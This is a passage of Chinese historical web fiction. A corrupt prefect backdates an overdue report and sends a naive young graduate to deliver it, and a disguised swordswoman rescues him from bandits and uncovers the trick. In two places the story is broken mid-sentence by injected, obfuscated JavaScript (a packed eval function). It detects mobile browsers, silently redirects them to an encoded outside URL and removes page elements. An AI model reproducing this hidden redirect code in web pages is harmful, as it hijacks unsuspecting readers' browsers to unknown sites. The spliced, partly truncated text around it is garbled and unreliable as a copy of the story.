“大人恕罪,实在是此人太过难缠,县吏们没法子……”杜霖的声音越来越小,越来越没底气。 此时衙门外面的人没了阻拦,声音清晰地传了进来。 “学生河北东路霸州文安县举人,姓栾名素,有要事求见知州大人。” “大人,外面的人不是白身。”杨仁佐听了外面的喊话,在一旁提醒高确。 “大人,他,他……”杜霖还想再说什么。 高确更生气了:“你闭嘴,你不是说外面的那个是普通百姓吗?人家有功名在身,你还让衙吏赶人,如此无礼,还不快把人带进来。” 杜霖扶着有些滑落的官帽,连声应着:“是是。” 杨仁佐趁着杜霖出去的档口,对高确说:“大人,不先把状子写完吗?这事可是更紧要些的。” 高确扶了扶额,“不把门外那人的事处理干净了,一会儿他又开始叫嚷,我怎么静下心来写状纸,左右能有什么大事。” 杨仁佐拱手称是,“大人说的是,卑职考虑不周了。”心里暗骂高确不分主次。 说话间,杜霖领着一个人进来。来人瘦高个,身着朴素但也还算上周正。 来人恭敬行了一礼,“学生栾素参见知州大人。” 高确没好气地说:“刚才在州衙门口大声喊叫的就是你?” 栾素直起身回答:“回大人的话,正是学生。” “你既是举人,当比寻常百姓更懂朝廷法度,我问你,无故入衙门者如何惩处?”高确靠着椅背问道。 栾素不卑不亢地回道:“当杖四十。” 高确已经没了耐心,只想快些把这事解决,便高声质问:“你既知晓,又为何行此有违礼教之举!” 栾素直视着高确问道:“敢问大人,若有人克扣贡士庄资银,不签发赶考驿券,岂为知礼有教之举哉?” 杨仁佐听着话头不对,便附耳在高确身旁,小声提醒道:“大人,这位应该是今年八月新中举的学子,咱们霸州三县可就这一人考中了。” 高确一听,不由得正色起来,“竟有此事,我朝向来优待学子,何人如此大胆?” 栾素高声回答:“回大人的话,是文安县令杜霖!学生自八月中举之后,一直闭门谢客,专心温书,不敢有丝毫懈怠。九月中旬,学生备好行囊,准备南下进京赶考,临行前到县衙,请朝廷下发的驿券,奈何一县官吏俱是左右阻拦,一时说验明不了学生的身份,一时又说学生的解牒和贡籍对不上,生生耽搁了许多时日。一直到昨日,杜县令索性说县衙发不了驿券,要是学生想要,便自己到州衙去求。学生无法,这才来到州衙,就是刚才,杜县令还在衙门外阻拦学生。眼看要入冬了,雪天道路难行,恐误了明年开考,所去京城又路途遥远,赶考花销巨大,没有驿券实是难如登天,学生十多年寒窗苦读,俱在此刻,还望大人体察学生苦楚,为学生主持公道。” 一旁立着的杨仁佐眼珠转了转。 7. 误入彀中 杜霖听着栾素的话,脸色越来越慌张。他实在没有想到一个举子,居然真敢直闯州衙。豆大的汗珠从额头滑下,一些被官帽吸走,更多的则是积蓄在脸上。杜霖还没来得及用衣袖擦一下脸,就听见了高确的呵斥声。 “杜霖你大胆!我霸州地处边境,百姓多从箭社,少读诗书,中举的人数本就比不过江南那些富庶之地。本州州衙就设在文安县,乃汉朝高祖始置,你身为文安县父母官,连‘崇尚文礼,治国安邦’都不知道吗。全州三县唯一一个举人就出自你治下,学子上县衙求助,你一不发驿券,二不给资银,还叫县吏推搡功名之身。在本官眼皮子底下,你敢如此为难一个苦书生,你忘了自己也是科举考出来的吗?” 杜霖膝盖一软,扑通跪在地上。杨仁佐暗暗称奇却面上不显,没想到高确处理州务不行,骂起人来却条条道道的。 “箭社”即为弓箭社,是河北道或京东道等边境地区的百姓自发形成的武装保境组织,入社者常带弓而锄,佩剑而樵,边农边武,这样既能增强当地的军事实力,又能减少军费支出。 资银和驿券都是为资助寒门学子所设。各个州县的乡绅们大都会合资购买一块土地,名为贡士庄。贡士庄交给官府打理,每年土地所创粮食收成会换为资银,由官府分发给学子,资助其学业;驿券则是每届秋闱结束后,由州县整理中举名册,上报中央,由朝廷统一核发后,举人们再到州县领取。驿券上会标注使用人的姓名、行程路线、时间限制等等,举人凭借驿券,可在沿途官家驿站内免费食宿。 高确拍了一下桌子,“说话啊!你书都读到狗肚子里去了!资银和驿券为什么不给人家?” 杜霖被拍桌子的声音吓了一跳,身子猛然一抖,“回大人的话,驿券……驿券,卑职未曾拿到啊。” “大人,他撒谎!此事是卑职亲手经办的!”杨仁佐没想到这事还能把自己也扯进去,当下站出反驳杜霖,“卑职自京中收到驿券后,立刻遣人转送到了文安县衙,衙吏回来时也拿到了杜县令的签押文书,如今文书正放在卑职桌旁的柜子里。那天应是九月十一,全州就这一张驿券,卑职绝不会记错。” 高确怒道:“听到没有,还不说实话,难道非得把签押文书拿过来你才肯说吗!?” 杜霖缩头缩脑地说:“大人恕罪,那张驿券……被卑职不小心……遗失了。” 高确皱着眉,手指上下晃动地指着杜霖,“你,你,我真是不知道怎么说你了,如此疏忽职守、鲁莽灭裂,你当初是怎么考上的!?” 高确顿了顿,继续发问:“那资银呢?你弄丢了驿券,补上人家路途所需开销尚可挽回,我没记错的话,贡士庄也是你在管吧?” “大人好记性,正是杜县令在管。”杨仁佐瞅准时机又站了出来,马上反击回去,眼神复杂,似乎还在筹算着什么。 杜霖还挣扎着说:“回大人的话,贡士庄……呃,今年年景不好,收成惨淡……” “你放屁!霸州今年雨水充沛,政清人和,又无蝗灾也无兵祸,你敢说年景不好!你早上吃酒了不成!”高确恨不得桌子上有块惊堂木,他现在气得都快把手拍肿了,“便是今年收成不好,那去年呢,前年呢,本州三年就出了这一个举人,一人份额的钱你都支支吾吾、遮遮掩掩,你说,是不是你贪掉了贡士庄的资银!?” 高确一看到杜霖做贼心虚的样子就知道自己猜中了。正欲发落杜霖—— “你这——” “大人,卑职有要事与您商议。”杨仁佐快步上前,附在高确耳边小声说道,“事关考课状,还请大人移步后堂。” 高确沉浸在青天大老爷的身份里无法自拔,对自己刚才有理有据、掷地有声的审问满意至极,感觉自己像是回到了年轻当县令的时候。 骤然被打断,高确十分不悦,却听杨仁佐说与考课状有关,忙起身与杨来到后堂。 “快说快说,有何要事?”高确急切地问道。 杨仁佐笑眯眯地说:“大人方才不还在忧心如何将考课状递送至汴京吗?如今这递送之人自己送上门来了。” “何人?”高确还未听懂杨仁佐的意思。 “堂下所站的新举人。”杨仁佐只好明示。 高确有些震惊地说:“刚才那个姓栾的?” “正是,汴京距霸州一千二百多里,大人就算此刻唤来‘急脚递’移交文书,军士日行三四百里,路上日夜兼程、不饮不食,也不免有所耽误,不到四日的时间可是有些勉强。倘若我们把考课状交给这新举人,写份委托文书,用词模糊些,再把落款提前到九月,不跟他说明这考课状的上交时间,这样文书有没有到汴京便也不重要了。若上面追查下来,我们就一概推到那举子头上,卑职看过贡籍,这栾素父母早亡,无亲无故,家中只剩他一人,就算到时候事发也无人为他申冤,一切还不全凭大人施为。”杨仁佐细细解释着。 高确还没想明白这事,“这样可行吗?所交文书俱要在州衙留底,两份文书时间对不上怎么办?” 杨仁佐继续点拨,“此事好办,我们先写两份落款为九月的状子,再把要递送出去的那份用张贴黄把日期改成十月,这新举子未入官场,必不知道贴黄上还需加盖官印为证,就算日后贴黄掉了或者他发现了,也可说是他自家在路上磨蹭,误了公期,咱们上下统一口径,这事便也怪不到我们头上。大人可以让汴京的亲友帮忙说说话,再多多给那举子些川资,今天就把人哄上路,如此,大人困局可解矣。” 高确终于搞明白了,“哈哈哈哈哈,汝之困局亦解矣。” 虽说事情这样做很不地道,那栾素看起来未及弱冠,年纪轻轻便中了举,想来是有些真才学,此去汴京参加春闱,或可得榜上一席。自己本有意帮他的,天下读书人没一个是容易的,可惜呀可惜,还是自己的仕途更重要。 “大人,还有一事。”杨仁佐又开口道。 “说吧。”高确的心情好了起来。 杨仁佐认真地说:“刚才那份考课状不太妥,卑职认为还可以再重写一份。” “这是为何,那状纸我虽未细看,瞄了两眼也知道里面的内容章法严谨,辞理典丽,最后还提到了恭祝陛下寿诞,很是周全,是要再删改些什么吗?”高确问道。 杨仁佐说:“回大人,并非删改,而是再添上一事。” “哦?何事?”高确来了兴趣。 “文安县令杜霖对待公务草率了事,又侵吞贡士庄的资银,大人可以在状纸上按问其罪。刚才的那份状纸虽说是条分缕析,但难免有些失真,一州之大怎可能没有一件龌龊之事。若是添上杜霖,状纸上就有了可以让汴京上官指点发挥的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488256|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方,也显得大人对待下属时常查点,明断是非呀。”杨仁佐说完,朝高确抱拳行了一礼。 “好好好好好,杨通判,你可真是个人才呀,等这件事过去我就找人帮你写保举状。”高确真真是心情通畅了。 “多谢大人!卑职这就去重拟一份状纸。”杨仁佐说完快速朝二堂走去。 高确回到签押房,温声说道:“栾生啊,刚才后堂有些事情需要本官处理,故而来得慢了些。” 栾素还站在原处,“大人客气了,栾素未等许久。” 高确继续温声说道:“哈哈哈,真是个敦厚知礼的后生,你放心,这件事本官帮你处理,包你顺利到汴京考试。” “杜霖。” 杜霖也还跪在原处,“卑职在。” 高确换了一副面孔,厉声道:“滚回县衙去,把过去十年贡士庄的账簿都给本官找出来,本官要亲自验看。查出的亏损你要是补不上的话,就别怪本官不讲情面,上书纠劾你了。” 杜霖点头如捣蒜,“是是是,谢大人救命之恩。” 高确转头看向栾素,“栾生啊,杜霖丢了你的驿券,险些误了你进京赶考,实是可恶。我本欲惩治于他,奈何朝廷办事皆有法度,朝廷命官的性命也不是我可以轻言夺去的。你看这样可好,本官自掏腰包赠你一匹马,再出二十两银子,权当你路上的川资了。” 栾素听完,连忙摆手,“这如何使得,学生不敢受。” 高确亲和地说,“哎,本官亦有件公事想找你帮忙,这些钱就当是你帮官府办事的报酬了。” “不知是何事,还请大人明示。” 高确略有点不好意思地说:“州衙里有份不算紧要的公文需得送到汴京都进奏院去,不巧州里的那些个驿卒昨日吃了些不干净的东西,现下都躺在医馆里不能动弹,一时半时怕是好不了。你可愿意帮着官府把这份文书送到汴京去,就当还我的人情了。” 栾素微微一松气,刚才还有些摸不准知州大人的意思,这下明了了,“大人帮携之义,栾素铭记于心。这文书自然帮忙送得,只是学生还不知这文书需在何日之前交到都进奏院,恐坏了大人的事啊。” 高确轻笑着安抚,“这你不用担心,十月三十日之前送到汴京即可。既如此,本官去取文书,你也回家收拾收拾,今日便上路,前面浪费了许多时间,想必你也有些急了,别耽误了赶路和温书。” 栾素行礼称是,“是,学生这就回去收拾行囊。” 栾家在文安县城的东边,已经垮了一半的院墙勉勉强强围成了一片院子,将一间半土屋圈在里面。 家徒四壁,本也没有什么可收拾的,栾素只包了几件起毛边的衣裳和书籍。一切收拾停当,栾素朝家后走去。 栾素没有钱买墓地,是以栾家父母的坟就在家后。 栾素跪在父母的坟前,磕了三个头,“爹,娘,儿子要出趟远门了,这次要去汴京,就是之前说过的,去汴京参加春闱。原以为这次考不了,幸好今日遇上个好官,给了川资也给了马,比儿子自己走快多了。爹,娘,这一走,山高水远,前途未卜,也不知道何时才能回来,儿子已经托了隔壁的周大娘时常来家里清扫,恕儿不孝,不能常来看你们了。” 最后回头望了一眼小院,栾素心中默念:“爹,娘,保佑儿子中榜。” 8. 无心插柳 辰时到,是该吃饭的时候了。 卢轸已经脱掉了夜行衣,换上了一身灰色粗绸的衣裳,第一眼望去,像是个行走江湖的商贩,放在人堆里都挑不出来。 因着白沟驿靠近边境,等闲没有百姓来此,卢轸不敢用火把照明,一人一马便靠着月光摸索着前行,至天稍亮步子才快起来些。眼下已快到莫州的任丘县了,卢轸下马,把乌雅牵到了一处小土坡的背阳面上,原地坐下休息。 射玉在空中绕了两圈,见下面的人没再动弹,便自顾自地飞向前面的密林里找吃的去了。 话说栾素从州衙接了高确手中的文书和银钱后,便骑马从文安县城出发。 文安县周边还好,出了城十几里地后,栾素就不太认得路了。至今十八年的人生中栾素都没怎么出过远门,最远的一次是大前年和同乡学子一起往东南方向的沧州拜访一位老先生。 此刻没有同乡相随,也没有行人可以问路。栾素在岔路口看了又看,最后选了右边的那条小路,他依稀记得应该还没有到那条走过的官道。 半山腰上,几间破旧的土房。土匪甲兴冲冲地跑进来报信:“头儿,下面来了个瘦高杆子,就一个人。” 吸溜着清水面条的土匪头子抬起头看向报信的小兵:“这有啥高兴的,等了两天就来了一个人,看清楚他穿戴如何了吗?够不够咱们打牙祭的。” 土匪甲稍加思索后说道:“呃,看起来像是个有钱人。” 土匪头子把碗抱起,仰头喝完了最后一口汤,“你那双眼看人能看明白吗?上次你还说路过的一个瘦子看起来弱不禁风,衣服还讲究,必是个好下手的。结果呢,刚冲出去,都没看清人家怎么出的拳就趴地上了,我躺床上养了半个月才好。”说完还打了一个嗝。 小兵小声反驳着:“头儿,我感觉这次我看得挺准的……” 土匪头子用袖子擦了擦嘴,起身往外去,“行了行了,我自己下去看。” 小兵这次还真看对了,栾素不像上次的那个瘦子,他只会些花拳绣腿,身上还有不少的银钱,实实在在的软柿子一个。 小路旁的半坡上,一群人躲在还算茂密的草丛里齐刷刷地看向快走近的肥羊。小兵迫不及待地指向下面的人影,“头儿,就是他。” 土匪头子看向小兵指着的方向,观察一番后说道:“欸,看起来是个书生啊,还带着不少东西。” 土匪乙在旁边提醒道:“头儿,他该不会是进京赶考的吧,咱们行规不抢赶考的读书人啊。” 土匪头子用手敲了一下土匪乙的头,压着声音说道:“你傻啊,进京不走这条路,这条路是往西的,走不到京城。” 土匪甲问:“头儿,那我们还动不动手啊?” 土匪头子转头看向小兵,“废话,当然要动手,先不说他那包袱里有没有银子,便是一匹马拿到集市上也能换到十几贯铜钱了。” 土匪丙蹲在三人后面,小声来了一句:“可是头儿,他也是个瘦子,万一和上次那个一样把我们打趴下了怎么办?” 土匪头子转身也给了土匪丙头上一下,“那厉害的瘦子能有这么多吗?别废话了,叫弟兄们准备着,等他到了下面那个弯儿就动手。” “得勒。”土匪丙摸摸头向后跑去。 栾素挺直地立在马上,嘴里还念叨着“三风十愆”、“康王之诰”,虚握着缰绳任由马儿带自己前行。 “昔君文武,丕平富,不务咎,厎至齐,信用昭明于——。” “天下”两个字没背完,一伙毛贼就从山坡上冲了下来,把栾素的马吓得高抬起了前蹄,险些把人掀翻。一行十几人,均匀散开将栾素围了起来。 土匪头子慢慢从包围圈外走进来,还扛着一把生锈的大铁刀,朝着栾素不客气地说道:“哎,小子,准备干什么去啊?爷爷在此,快快下马奉上买路财。” 栾素看这架势,知道是遇上强人了,不知对方是只要钱财还是会伤人性命,便开口试探道:“各位好汉,切莫动手切莫动手,小可是霸州人士,欲往京城赶考,路过宝地,还请高抬贵手放小可过去,自有买路财奉上。” 土匪头子把肩上扛着的大刀朝地上一杵,开口讥讽道:“哟,还是个知道行规的,咱们是不劫进京赶考的书生,但你,是吗?” 栾素没听懂他的意思,只得再次重复:“千真万确,小可确实是进京赶考的,烦请各位好汉通融一下。” 旁边一个稍显老态的土匪丁开口道:“小子,你走的这条路是往西去的,你难道要跑到西边回鹘人那赶考吗?” 一众土匪哈哈大笑。土匪头子笑罢,指了指栾素,略带威胁地说着:“少废话了,交出马匹和钱财,就放你过去,否则我便杀了你这假书生。” 卢轸坐在土坡上嚼着姑姑准备的牛肉干,眼睛看着地图,心里盘算从哪条路走更快些,还得在约定的时间赶到汴梁城。 吃完了两大片牛肉干,卢轸还没来得及喝水顺顺,便听到了土坡背面的动静。乌雅也听到了,抬起一只蹄子有些彷徨地看向卢轸。卢轸快速放下水袋,食指竖在鼻前,乌雅默契得没有发出声响。 卢轸那把裹了黑白双色鲨鱼皮的钿装横刀很是惹眼,来南朝之前卢轸用了一层软牛皮套罩在外面。 轻手轻脚爬上土坡顶,卢轸一手压在刀把上,静静看着下面,如果没有紧急情况,她可不想动手。 土坡下的小道儿上,一拨人围着一个书生模样的人,似是在劫财。 卢轸松了一口气,不是官兵就好,等下面的人散去,自己再上路。 卢轸没打算插手,缩在土坡上观察事态变化,不多管闲事是最保稳的做法。下面的声音断断续续传入耳中: “应是走错了路……进京赶考的路费……辛辛苦苦攒了好些年…父母不易…真是给不得啊……” “带这么多书做甚……钱呢……” “废话真多……找死……” 貌似是个进京赶考的举子,这点也太背了,出门被强盗缠上。 普通人家读书不易,卢轸是知道的,经史子集花销大,拜师求学难度高,策论应答门道深,进京赶考路程远,哪一步都能把人择掉大把。 嘶,要不帮一次,下面的毛贼不成气候,左右不过三两下功夫,就当做好事了?卢轸有些纠结。 下面那个领头的高扬起了刀子。 没时间犹豫了,卢轸快速抓起一块石头,手腕使劲,飞出的石子击中了土匪握刀的手。咣啷一声,长刀落地,那土匪似是有些吃惊,朝着卢轸藏身的方向看过来。 卢轸知道自己藏不住了,索性站起身,朝着下面的土匪说道:“各位,绿林的规矩,不劫赶考书生,你们怎么乱来呀。” 卢轸这一击力道可不小,土匪头子被打麻了手腕,黑着脸没好气地说:“藏在暗处偷袭,你又是什么守规矩的人。” “对明人才用明招,但你,是吗?”卢轸把刚才听到的话又还给他,“不想和你多说,快些散去吧,我不想动手。” 土匪头子气急,指着卢轸叫道:“你个毛头小子口气这么大,站坡上算什么,下来爷爷教你——。” 叫什么叫啊,又不是谁叫得声音大谁就更厉害,卢轸翻了个白眼。 不想这群草莽再把别人招来,卢轸低头看了一下,脚下一动,又是一颗石子,不偏不倚地飞到了土匪头子的太阳穴上。 土匪头子吱哇乱叫,众土匪惊呼,连连后退。 土匪甲对着土匪头子说:“头儿,这人好生厉害,要是打起来咱们肯定要吃亏。”卢轸还没有出刀,抱着胳膊好整以暇地看着下面的人。 “走。”土匪头子不甘心地下达命令。 “慢着,没人教过你不是自己的东西不要拿吗?”卢轸冷声发问。 土匪头子看了眼手中的钱袋,只能扔到地上,领着众土匪退向山坡上的草丛。 站在小路上的栾素朝着坡上的卢轸深深行了一礼,大声谢道:“多谢仁兄出手相助,小可栾素,敢问仁兄姓名?” 卢轸浅笑还礼后本欲转身就走,可巧一卷白纸从刚刚散落着的行李中乘风而起,正好飘向了土坡。卢轸伸手挡下,看着不算矮的土坡,帮人帮到底吧,脚尖轻轻一点,落到小路上。 栾素抬头看着山坡上的人乍一下到了眼前,忙着又行一礼。 卢轸笑着说:“我本也去京城,路见不平投石相助耳。萍水相逢不用互通姓名。我帮兄台拾书。”栾素郑重谢过。 卢轸双手顺着纸张平铺书写的方向慢慢卷着,在纸快到头的时候,手指似是碰到了什么微微凸起的东西,在光滑的纸张上分外明显。 卢轸的食指甲盖前沿有一道豁口,是之前和军营里的将士比划刀法的时候不小心被刀崩到的,当时虽说没有用很大的力道,但是指甲却怎么也长不好了,每每摸着都有些刺挠剌人。 不会是自己指甲上的豁口把人家的纸划破了吧,卢轸赶快又展开看了看。纸张完好无损,只是在文书最左侧落款处的一小张贴黄纸的边角翘起来了。卢轸微微有些心虚,快速望了一眼前面的书生,用拇指压了压那处翘边。 正要再次将纸卷起时,卢轸瞥见了落款处的红印。九叠篆体,两寸见方,“霸州之印”! 这人随身带着的是官府的文书啊!卢轸震惊之余,背过身去,又快速地扫了两眼文书的内容,看着似乎是一纸上奏霸州地方民生吏治的状子。可是…… 卢轸捻了一下纸张,质地绵软平滑,色泽洁白,是官府用的构皮纸,看着不像是假的。既是公家文书,为何贴黄上不钤盖官印? 此行探查水系,河水涨落之事州县的图经方志必有记载,免不得以后要和他们打交道。卢轸看向不远处正在拾书掸灰的人,“说不定以后能帮上忙呢,先问问试探一下。”卢轸心想。 “这位兄台,你的文书掉在这边了,瞧着是个紧要的东西,我帮你拾回来了。” “多谢仁兄,我正找着呢,确实是件顶顶重要的东西。” “无妨,举手之劳而已。看这文书上盖着官印,想来兄台是官府中人了?” “非也非也,在下只是一举子,还未取得官身。这文书是知州大人托我送进京城的,我正要去京城赶考,故而捎带着了。” 卢轸有些不信,一州的铺兵递卒少说不下百人,怎么可能轮到一个举子递送,送的还是可以擢贬官员的状子,出了事谁 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栾素急切地接过,“这怎么可能呢,文书是知州大人亲手交予我的!他还给我写了委托信,说用此信即可在京城都进奏院中证明我所受之托,信还在我这呢。”说完,便要折上文书再找书信。 文书又是好一顿摩擦,本就不牢固的贴黄彻底被掀了起来,露出了下面的文字。 “这下面怎么写的是九月!?我今早接过来时,上面写的明明是十月初一,知州大人跟我说的是十月三十日之前送到京城啊!”栾素惊呼。 卢轸明白了,敢情这位仁兄是被知州摆了一道啊!一州之内可没有谁能用官印而不被知州所知的了。 “我要回霸州问个清楚!” 卢轸急忙喊住这愣头青。 “你现在回去又有何用?他们诓骗你,必然是做足了准备的,官府中留下的抄录本落款也一定会是九月,兄台当时没验看吧?我估摸他们就是瞧着兄台你还未入官场,不谙规制,不知出于何种缘由坑了你一把。你就算立时回去找他们对峙,州府上下又有哪个会帮着你讲话,说不定还会倒打一耙,说你早在九月就已出发,却一直在外地迁延罔顾,眼见要误了正期,便回霸州耍赖,知州一声令下就能将你送京法办,断不容你辩解。眼下你已接了这文书,便默认这文书该由你送到京城,今日是十月初一,还有不到四日,兄台快马加鞭,或许可以踩着期限赶到京城,便可相安无事了。” 栾素听了卢轸的话,似是愤怒似是不解,一口气提至胸口,好久才吐出来。 “仁兄讲的在理,我这就出发赶往京师。”栾素不是只会读书的迂腐酸儒,卢轸的话让已经他明白了自己现在不容乐观的处境。 “只是还有一事相求。” “兄台但说无妨。” “这一路到汴京还要一千多里,路上日夜不停,需得换马前行,马匹价高……我随身带着的银钱怕是不够,可否请仁兄支应一些……待我抵京之后必定想办法还上!我,我可以立张字据,请仁兄告知家住何处,必然有借有还,请仁兄帮我!” 卢轸自然知道易朝马匹价格不菲,而且离汴京越近价格越高。易朝不像朔木,有大片可供放马的草原,本土马匹良莠不齐,数量稀缺,百姓日常出行都以驴车为主。 在易朝,一匹普通的驮马就能卖到七贯铜钱,军中的军马普通一些的也能值个二十贯。若是把乌雅这样腿部修长、身躯肥硕、日行四百里的西域马拉去汴京,不用吆喝,十两黄金到手矣。 听说为着采购马匹,易朝还专门设置了茶马司,用茶叶和西南、西北的少数民族交换马匹。朔木每次的朝贺使团都会带去不少的散马,在易朝可以轻易换到丰厚的茶叶丝绸和金银器作为朝贡谢礼。 “好说好说。”卢轸看他一个倒霉的穷书生,说不定不久之后就要被官府缉拿,本就有意帮他。当下便拿出自己的钱袋子,这是鲜鸷在上京时就准备好交给姑姑带到白沟驿的。昨晚卢轸一股脑地把箱子里的东西全包了走,刚才放在包袱里坠得肩膀生疼。打开一看,这败家玩意儿,卢轸还以为鲜鸷放的是碎银子呢,结果里面全是换好的易朝官制五十两“真花银”大银锭! 卢轸两眼一黑,颇为肉疼地抽出一块。刚才都答应人家了,现在总不好当着人家的面用刀再绞下来一块。这一个大银锭不知道能换多少个羊肉烧卖了。罢了罢了,不与将死之人计较,卢轸强颜欢笑地将银子递给对面之人。 栾素看着这块簇新的真花银,不好意思地说着:“要不……我给仁兄押个东西吧,我找找值钱的……。” “为人排患释难解纷乱而无所取也,吾所志,不知兄台可愿成人之美。”卢轸不想在此地久留,便想了个出尘脱俗的说法快快掐断话头。 栾素有些惊讶,却仍然郑重地说:“仁兄愿做鲁仲连,我却不好白拿人钱财,若我顺利赶到汴京,必会报恩。” “兄台快些上路吧,路上多问问,别再走错了。”卢轸勉强挤出一丝笑意地说。 栾素利索地收拾好行李,调转马头,向卢轸行礼告别。 看着马匹快速消失在小路的弯道后,卢轸转身,捶胸顿足,好一阵心疼。 9. 小鬼难缠 寅时一刻,汴京新封丘门外等待进城的人已经多了起来。 栾素牵着马排在进城的队伍里。眼底发黑,脸颊微陷,胡茬泛滥的模样得到了守门士兵的重点关注。仔细排查完身份和马匹上的行囊后,栾素交了一文钱的城门税被放进了城。 甫一进城,栾素便看到了不远处的一家脚店。快步上前,向店里的伙计打听起都进奏院怎么走。刚才排队进城的时候,栾素问了队伍前后之人,都说不知。 “你要去都进奏院啊,那可是有些远了。”伙计擦着桌子,漫不经心地看了一眼形貌不整的栾素回应道。 栾素适时地点了一碗茶,伙计明显活络了起来,“您坐着,我给您上茶。” 天还没完全亮,食客也少,茶很快便上来了。 伙计热情地说着:“客官您有所不知,这都进奏院在浚仪桥大街上,是内城极热闹的一条大街。您得先沿着咱们店前面这条路一直走,走到旧封丘门,过了旧门之后再一直走,沿着马行街走到潘楼街和曹门大街的交汇路口。然后朝西转向,沿着潘楼街走过景灵宫到御街,最后再向西走便是浚仪桥大街了。只是这都进奏院的确切位置小人也不太清楚,劳烦您到哪再打听一下了。” 栾素听到了自己想要的答案,一口饮完茶水,放下铜板,起身上马便要走。 “哎哎哎,客官且慢。”伙计急着叫停栾素。“客官您一看就是外乡人吧,难道不知道咱们这的规矩。咱们汴京城‘贱避贵,少避长,轻避重,去避来’,到了内城人多的地方车马疾驰,是要被藤条打五十下屁股的,您可当心着点。” “多谢小哥。”栾素快速道了声谢,骑着马就走了。 脚店的伙计站在后面张望,被迫吃了一嘴马蹄扬起来的土灰,“呸,呸,走这么急,赶着去大内上朝啊!呸。” 寅末,幸好城内的行人还很少,栾素按着店伙计的指示牵着马顺利走到了浚仪桥大街。好在都进奏院就在浚仪桥大街街头,十分显眼。 栾素在门口拴马桩拴好马,翻出文书,急着就要进去。 门口的衙吏拦下了他,“哎哎哎,你是干什么的,这是官府,是大人们写字的地方,不是能随便进的,快快离开。” “还请大人通禀一下,学生受霸州知州高确高大人所托,来都进奏院递送今年的考课状。”栾素说完,从怀里掏出两块碎银子分给门口的衙吏。 衙吏咬了一下银子,看着上面一道浅牙印,笑着说:“我带你进去。” “多谢两位大人!” “随我来吧。” 都进奏院公廨内,监都进奏院乔维年坐在书案前翻阅各州呈上来的考课状。 “今日已是十月初五,各州送上来的状子可查验清楚了?陛下寿诞将至,这些状子到时要在席上呈与陛下,万万不可出纰漏,中书门下已经派人来催了。” 下列的一位属官恭敬地说:“回大人的话,卑职俱已清点完毕,只是一共收到了二百三十九份考课状。” “少了哪一州的啊?”易朝全国境内置二百四十州。 “河北东路的霸州。” “霸州?本官记得不错的话,霸州知州名讳可是高确啊。” “大人好记性,正是高确高大人。” “哼,从六品的朝奉大夫权知霸州军州事,果然才不配位,连这种小事都办不好。”乔维年冷哼了一声,继而开始挖苦起来。 乔维年的下属动了动嘴皮,看样子是想说些什么,犹豫再三没有开口。 易朝所置州府,可分为节度州、防御州、团练州、军事州四等,这种节度州之类的名目,便是州格。一般来说,节度州为三品州,防御州、团练州为四品州,军事州为五品州。 高确本人从六品的品秩低于霸州防御州的州格,出任知州该称“权知”,若官员品秩高于州格,用“判”字,官员品秩与州格相等,则用“知”字。 乔维年身为从七品的承议郎,监管着都进奏院,是不该对上官出言不逊的,可是四下没有人敢提醒。 汴京城内谁不知道,乔维年乔大人的母家丹阳侯府和时任右谏议大夫的程寺程大人,两家的宅子靠得近,相邻作伴好些年。两年前,丹阳侯府重修府门院墙时,不知是水泥班子弄错了图纸还是丹阳侯府故意为之,东边修好的新墙比原来多伸出去了五尺。 宅边地被侵占,程家也是汴京有头有脸的人户,自然不肯。程夫人便上丹阳侯府要说法。刚开始两家还是和和气气地喝茶聊天,但丹阳侯夫人把话头抛来抛去,就是说不到点上,既不说拆墙重建,也不提赔偿土地,两家僵持不下。身为谏官多年的程大人亲自出手,当街便“五尺之家,无耻之极”的骂了起来。引得不少百姓围观。 后来两家人闹到了朝堂上,程寺参了丹阳侯侵占土地,民间放贷等等不法事,字里行间还暗指丹阳侯府仗势欺人。两年前,家道中落的丹阳侯府外孙乔维年中了二甲进士,与朝廷“两参”之一的徐寿徐大人家最小的嫡女结了亲。程寺所指便是徐寿的势了。 要说乔家的背景本身也不差,乔维年的祖父为前朝宰相,澄清吏治,时人盛赞。只是生的儿子们不争气,靠着父亲得来的荫官混吃等死,乔维年作为第三代中最出色的子弟被祖父寄予厚望,年纪轻轻便中了进士。 而高确,则是右谏议大夫程寺的外侄。后来,丹阳侯府被皇帝下旨申饬,拆除扩建院墙,赔偿程家土地损失。好好的一对邻居,到了现在这样死生不复相见的光景。乔维年对程家,连带着对和程家相关的人都有一些微妙的敌意。 “八月下发的邸报写得清楚,本月初五是最后期限。既已带回霸州的签押,那便是高确知晓此事了。玩忽职守、迁延公事,写个札子连带着这些状纸一起拿到中书门下吧。” “是。”属官领命上前接过状纸。 “且慢且慢!”栾素被那一衙吏带到公廨外,因里面的大人们正在说话,这衙吏不让进去,栾素便完完整整地听到了乔维年下的命令,立时绕过衙吏,高喊着冲了进去。 乔维年兀的见冲进来了一个糙人,直起身子生气地说:“下站何人!放诞不拘,无视法礼,汴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乔维年接来,细细看过,“那你便说说,霸州的状子九月就写好了,何至于今日才送到。广南两路的州府比霸州远得多,尚且可以提前送达,莫不是你霸州上下皆漠视朝堂法度,不服皇命吗?” 栾素不明白眼前这位大人脾气为何如此之差,只是眼下自己和高确这摆人一道的狗官是一条船上的人,只可能一起上岸,少了谁剩下一个都不可能全身而退,便继续解释。 “大人明鉴,今年八月下旬,大名府魏县、馆陶、冠氏、成安、莘县、清平多地境内因不明原因河水水位暴涨,官道桥梁俱断,无法行人,只得从西边地势较高的河东路、河北西路两路境内绕道,路陡难行,故而来得慢了些。大人若是不信,还请招来两个近期往北方送过文书的铺兵,他们必然知道此事。还请大人体察灾情,宽宥则个。” 不用招来铺兵,乔维年自然知道此事,便是定州、祁州、真定府这样的偏西的州府状子也是近两天才到的。 